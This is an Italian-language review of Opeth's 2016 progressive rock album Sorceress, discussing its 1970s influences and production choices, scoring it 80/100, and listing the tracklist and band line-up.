OPETH – Sorceress

OPETH – Sorceress

OPETH – Sorceress

TITOLO: Sorceress
BAND: Opeth
GENERE: Progressive Rock
ANNO: 2016
LABEL: Nuclear Blast
COUNTRY: Svezia

Due anni sono passati dal precedente (ottimo) Pale Communion a questo Sorceress. Un tempo più breve del solito come sapranno gli amanti della band svedese, poichè dai tempi di Ghost Reveries fino al disco precedente, erano abituati a tempistiche molto più lunghe. In questi due anni d’altro canto, in casa Opeth ne sono successi di avvenimenti: tra il tour di supporto per l’ultimo album, il cambio di etichetta (dalla Roadrunner alla Nuclear Blast), fino alle dichiarazioni di Mikael Åkerfeldt sulla messa in pausa del gruppo, erano tutti elementi che difficilmente facevano pensare ad una release così ravvicinata.
Facciamo subito una piccola premessa: se siete tra i fan che non hanno apprezzato la svolta e la completa deriva settantiana del sound degli Opeth, difficilmente questo disco vi farà gridare di gioia, anzi, tutt’altro; quindi potete fermarvi qui a leggere e rivolgere la vostra attenzione su altro, visto che qui non troverete pane per i vostri denti. Se invece siete tra quelli che hanno apprezzato il coraggio avuto con Heritage o che apprezzano il prog anni ’70 potrete trovare del materiale più che interessate in Sorceress. Il sound della nuova fatica va a calcare il solco dei due dischi precedenti: materiale molto melodico, totale assenza di un qualsivoglia elemento Death Metal e Metal in  generale, un suono fortemente vintage es anche molto derivativo, sono le caratteristiche che ritroveremo in questo lotto, anche se qualche piccola novità non manca, poichè ci troviamo di fronte ad un sound più pesante rispetto alle ultime due fatiche in studio. Il disco, rispetto agli ultimi, risulta avere un suono più pomposo nelle chitarre ed una prestazione un po’ più tirata da parte di Åkerfeldt andando quindi a ripescare un certo Hard Prog tipico degli anni ’70 con un forte influenza della scena di Canterbury. Le tastiere non sono sacrificate anzi godono di una certa cura negli arrangiamenti, oltre ad aver molti momenti di puro protagonismo; accanto a questo sono presenti delle sezioni acustiche che spesso e volentieri rimandano a grandi nomi del passato come i Jethro Tull, specialmente nel “lento” del disco a nome Will o the Wisp, e i sempreverdi Camel i quali hanno una minor presenza rispetto al recente passato. La band, comunque, ha giocato spesso già dagli inizi con l’alternanza acustico/distorto, che per nostra (e loro) fortuna spesso si sposa bene al lavoro svolto dai Nostri. La musica del combo svedese è una continua altalena di soluzioni per nulla innovative, ma usata con una certa bravura ed un senso della misura rendono il platter interessante, specialmente per chi è un po’ nostalgico delle sonorità retrò.
Non tutto però è calibrato alla perfezione. Se da un lato abbiamo si un disco interessante (specialmente quando emergono le influenze psichedeliche), ben suonato, con estrema cura per gli arrangiamenti e soluzioni interessanti, dall’altra abbiamo un disco che perde un po’ di personalità vista la natura fortemente manieristica che permea tutto il lavoro; oltre ad esser presenti un paio di esercizi di stile che anche se godibili, danno l’amaro retrogusto del riempitivo. Infine rimane da parlare della produzione del disco. Mikael Åkerfeldt & Co. meritano una tirata d’orecchi per alcune soluzioni che quantomeno possono fare inarcare più di un sopracciglio e far discutere aspramente. Gli ultimi Opeth, si sa suonano un sound fortemente retrò, con idee e soluzioni tipiche di diversi lustri addietro. In questo lavoro, il tutto è stato volutamente accentuato da una produzione che fa leva sulle frequenze medio-basse, che purtroppo non riescono ad elevare e valorizzare le melodie e gli intrecci strumentali che il gruppo offre.
Viene, quindi, spontaneo chiedersi se non era il caso di seguire il sentiero degli ultimi due album, che con quel missaggio pulito ed equilibrato sono la soluzione migliore per valorizzare il proprio lavoro. Inoltre una maggior varietà a livello vocale (nei momenti più tirati soprattutto) avrebbe senza ombra di dubbio giovato a Sorceress. Inoltre, occorre rimarcare anche l’ottima collaborazione a livello grafico di Travis Smith, la cui firma accompagna i cinque fin dagli esordi con un coverage elegante e grottesco allo stesso tempo, e che per i più smaliziati può aprirsi ad alcune interpretazioni. In ultimo c’è poc’altro da aggiungere: se come già detto in precedenza per voi gli Opeth si fermano a Watershed qui ritroverete l’ennesima delusione; e se siete alla ricerca di un sound fresco e moderno questo album non fa assolutamente al caso vostro.
Se invece, come detto in precedenza, avete apprezzato la totale deriva Prog Rock intrapresa da Heritage, se il Progressive anni ’70 vi piace e un po’ vi manca, qui troverete un atto d’amore verso quel sound, con dei richiami più o meno forti a qualche band dell’epoca. Sorceress, è caldamente consigliato se fate parte di quest’ultima categoria.
Prestate attenzione all’edizione Digipack di Sorceress la quale contiene un secondo disco con materiale bonus interessante tra i quali un paio di refusi e soprattutto tre pezzi live arricchiti da coro e orchestra.

Voto:80/100


Tracklist:
01. Persephone
02. Sorceress
03. The Wide Flowers
04. Will o the Wisp
05. Chrysalis
06. Sorceress 2
07. The Seventh Soujourn
08. Strange Brew
09. A Fleeting Glance
10. Era
11. Persephone (Slight Return)

Tracklist Disco Due (Digipack Version):
01. The Ward
02. Spring MCMLXXIV
03. Cups of Eternity (Live)
04. The Drapery Falls (Live)
05. Voice of Treason (Live)

Line Up:
Mikael Åkerfeldt:
Voce, Cori, Chitarra Elettrica, Chitarra Acustica
Fredrik Åkesson: Chitarra Elettrica, Chitarra Acustica, Cori
Martin Mendez: Basso
Joakim Svalberg: Organo Hammond C3, Mellotron, Fender Rhodes 88, Clavicembalo, Moog, Pianoforte, Percussioni, Cori
Martin Axenrot: Batteria, Percussioni

WEB:
https://www.facebook.com/Opeth/

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Sebastiano Dall'Armellina

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